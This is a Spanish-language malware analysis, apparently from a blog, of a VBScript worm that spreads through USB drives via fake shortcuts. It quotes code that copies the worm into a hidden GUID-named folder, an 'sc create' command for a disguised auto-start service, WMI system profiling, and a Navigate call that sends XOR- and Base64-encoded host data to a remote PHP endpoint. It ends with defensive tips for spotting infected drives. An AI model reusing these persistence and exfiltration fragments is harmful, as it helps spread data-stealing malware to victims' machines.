1.-El acceso directo está configurado así:
fake_lnk.TargetPath = "wscript.exe"

fake_lnk.Arguments = "Dark_Files\\Cthulhu.vbs The_call 30000"

Esto significa que el sistema ejecuta el script Cthulhu.vbs con el argumento "The_call", lo que activa una sección específica del código que inicia la infección.

2.- Copia el script al sistema
El script se copia desde la USB a una ruta oculta en el sistema, Esta ruta usa un GUID que simula una carpeta del sistema, dificultando su detección por usuarios y antivirus.

Dir_p_privileges = %ProgramFiles%\Windows\Panel.{ED7BA470-...}

Sistema_de_Archivos.CopyFile wscript.ScriptFullName, Dir_p_privileges & "\\Cthulhu.vbs"

3.- Instala un servicio persistente
El script genera un archivo .bat que crea un servicio falso llamado Urm_At_Tawill, configurado para ejecutarse automáticamente, Este servicio se disfraza como una tarea de mantenimiento, pero en realidad mantiene activo el malware en segundo plano.
sc Create Urm_At_Tawill DisplayName= "Registro de mantenimiento" BinPath= "cmd.exe /c Cthulhu.vbs Nightmares" start= auto

4.- Recolecta información del sistema
El script accede a componentes del sistema usando WMI (Windows Management Instrumentation) para obtener:

Nombre del equipo (%ComputerName%)

Usuario actual (%UserName%)

Sistema operativo (Win32_OperatingSystem)

Dominio (Win32_ComputerSystem)

Antivirus instalado (SecurityCenter o SecurityCenter2)

Esta información se guarda en archivos como Dreams, user, map, y luego se cifra.

5. Envía la información a internet
El script cifra los datos usando una técnica XOR con una frase codificada:
binary_char_data xor binary_char_key

Luego los convierte a Base64:

Base64Encode(cipher_data, False)

Y los envía a un servidor remoto mediante InternetExplorer.Application:

.Navigate "http://" & ip & "/Rlyeh/Servants/whisper_a_nightmare.php"

Fase 2

Una vez que el sistema está infectado, el script entra en modo de espera y escanea constantemente si se conecta una nueva memoria USB:

for each drive in Sistema_de_archivos.drives

if drive.drivetype = 1 then

``
Cuando detecta una unidad extraíble:

Crea una carpeta oculta Dark_Files en la raíz de la USB.

Mueve todos los archivos y carpetas del usuario a esa carpeta.

Copia el script Cthulhu.vbs a la USB.

Crea un nuevo acceso directo Archivos.lnk que apunta al script malicioso.

Este proceso se repite cada vez que se conecta una USB nueva, lo que permite que el malware se propague de forma silenciosa entre computadoras.

Ahora te preguntaras como puedo identificar esto si mi antivirus no lo detecta o en el peor de los casos, no tengo instalado alguno (ni uno pirata). En tu explorador de archivos puedes  ver el contenido en  forma de detalles y en el apartado de tipo de archivo si tu carpeta tiene un acceso directo es sumamente sospechoso, y lo mas seguro es que tus archivos estén ocultos, por lo que puedes activar esta opción y eliminar la carpeta o el objeto infectado.